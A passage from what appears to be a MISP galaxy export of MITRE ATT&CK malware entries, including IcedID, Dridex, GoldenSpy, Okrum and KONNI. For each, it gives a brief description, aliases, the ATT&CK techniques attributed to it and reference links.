- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asynchronous Procedure Call - T1055.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Transfer Protocols - T1071.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Logon Script (Windows) - T1037.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 5601. Table References

Links
https://attack.mitre.org/software/S0438
https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf

IcedID - S0483

[IcedID](https://attack.mitre.org/software/S0483) is a modular banking malware designed to steal financial information that has been observed in the wild since at least 2017. [IcedID](https://attack.mitre.org/software/S0483) has been downloaded by [Emotet](https://attack.mitre.org/software/S0367) in multiple campaigns.(Citation: IBM IcedID November 2017)(Citation: Juniper IcedID June 2020)

The tag is: *misp-galaxy:mitre-malware="IcedID - S0483"*

IcedID - S0483 is also known as:

- IcedID

View relationships graph

IcedID - S0483 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asynchronous Procedure Call - T1055.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5602. Table References

Links
https://attack.mitre.org/software/S0483
https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware
https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/

Dridex - S0384

[Dridex](https://attack.mitre.org/software/S0384) is a prolific banking Trojan that first appeared in 2014. By December 2019, the US Treasury estimated [Dridex](https://attack.mitre.org/software/S0384) had infected computers in hundreds of banks and financial institutions in over 40 countries, leading to more than $100 million in theft. [Dridex](https://attack.mitre.org/software/S0384) was created from the source code of the Bugat banking Trojan (also known as Cridex).(Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017)(Citation: Treasury EvilCorp Dec 2019)

The tag is: *misp-galaxy:mitre-malware="Dridex - S0384"*

Dridex - S0384 is also known as:

- Dridex
- Bugat v5

View relationships graph

Dridex - S0384 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"

Table 5603. Table References

Links
https://attack.mitre.org/software/S0384
https://home.treasury.gov/news/press-releases/sm845
https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/
https://securelist.com/dridex-a-history-of-evolution/78531/
https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation

GoldenSpy - S0493

[GoldenSpy](https://attack.mitre.org/software/S0493) is a backdoor malware which has been packaged with legitimate tax preparation software. [GoldenSpy](https://attack.mitre.org/software/S0493) was discovered targeting organizations in China, being delivered with the "Intelligent Tax" software suite which is produced by the Golden Tax Department of Aisino Credit Information Co. and required to pay local taxes.(Citation: Trustwave GoldenSpy June 2020)

The tag is: *misp-galaxy:mitre-malware="GoldenSpy - S0493"*

GoldenSpy - S0493 is also known as:

- GoldenSpy

View relationships graph

GoldenSpy - S0493 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1195.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5604. Table References

Links
https://attack.mitre.org/software/S0493
https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/

HiddenWasp - S0394

[HiddenWasp](https://attack.mitre.org/software/S0394) is a Linux-based Trojan used to target systems for remote control. It comes in the form of a statically linked ELF binary with stdlibc++.(Citation: Intezer HiddenWasp Map 2019)

The tag is: *misp-galaxy:mitre-malware="HiddenWasp - S0394"*

HiddenWasp - S0394 is also known as:

- HiddenWasp

View relationships graph

HiddenWasp - S0394 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Linker Hijacking - T1574.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="RC Scripts - T1037.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5605. Table References

Links
https://attack.mitre.org/software/S0394
https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/

Okrum - S0439

[Okrum](https://attack.mitre.org/software/S0439) is a Windows backdoor that has been seen in use since December 2016 with strong links to [Ke3chang](https://attack.mitre.org/groups/G0004).(Citation: ESET Okrum July 2019)

The tag is: *misp-galaxy:mitre-malware="Okrum - S0439"*

Okrum - S0439 is also known as:

- Okrum

View relationships graph

Okrum - S0439 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="User Activity Based Checks - T1497.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Impersonation - T1001.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 5606. Table References

Links
https://attack.mitre.org/software/S0439
https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf

MoleNet - S0553

[MoleNet](https://attack.mitre.org/software/S0553) is a downloader tool with backdoor capabilities that has been observed in use since at least 2019.(Citation: Cybereason Molerats Dec 2020)

The tag is: *misp-galaxy:mitre-malware="MoleNet - S0553"*

MoleNet - S0553 is also known as:

- MoleNet

View relationships graph

MoleNet - S0553 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5607. Table References

Links
https://attack.mitre.org/software/S0553
https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf

BoomBox - S0635

[BoomBox](https://attack.mitre.org/software/S0635) is a downloader responsible for executing next stage components that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)

The tag is: *misp-galaxy:mitre-malware="BoomBox - S0635"*

BoomBox - S0635 is also known as:

- BoomBox

View relationships graph

BoomBox - S0635 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Account - T1087.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5608. Table References

Links
https://attack.mitre.org/software/S0635
https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/

xCaon - S0653

[xCaon](https://attack.mitre.org/software/S0653) is an HTTP variant of the [BoxCaon](https://attack.mitre.org/software/S0651) malware family that has used by [IndigoZebra](https://attack.mitre.org/groups/G0136) since at least 2014. [xCaon](https://attack.mitre.org/software/S0653) has been used to target political entities in Central Asia, including Kyrgyzstan and Uzbekistan.(Citation: Checkpoint IndigoZebra July 2021)(Citation: Securelist APT Trends Q2 2017)

The tag is: *misp-galaxy:mitre-malware="xCaon - S0653"*

xCaon - S0653 is also known as:

- xCaon

View relationships graph

xCaon - S0653 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5609. Table References

Links

https://attack.mitre.org/software/S0653
https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/
https://securelist.com/apt-trends-report-q2-2017/79332/

GPlayed - S0536

[GPlayed](https://attack.mitre.org/software/S0536) is an Android trojan with a broad range of capabilities.(Citation: Talos GPlayed)

The tag is: *misp-galaxy:mitre-malware="GPlayed - S0536"*

GPlayed - S0536 is also known as:

- GPlayed

View relationships graph

GPlayed - S0536 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1603" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Device Administrator Permissions - T1401" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1402" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5610. Table References

Links
https://attack.mitre.org/software/S0536
https://blog.talosintelligence.com/2018/10/gplayedtrojan.html

KONNI - S0356

[KONNI](https://attack.mitre.org/software/S0356) is a remote access tool that security researchers assess has been used by North Korean cyber actors since at least 2014. [KONNI](https://attack.mitre.org/software/S0356) has significant code overlap with the [NOKKI](https://attack.mitre.org/software/S0353) malware family, and has been linked to several suspected North Korean campaigns targeting political organizations in Russia, East Asia, Europe and the Middle East; there is some evidence potentially linking [KONNI](https://attack.mitre.org/software/S0356) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Talos Konni May 2017)(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)(Citation: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug 2021)

The tag is: *misp-galaxy:mitre-malware="KONNI - S0356"*

KONNI - S0356 is also known as:

- KONNI

View relationships graph

KONNI - S0356 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Parent PID Spoofing - T1134.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 5611. Table References

Links
https://attack.mitre.org/software/S0356
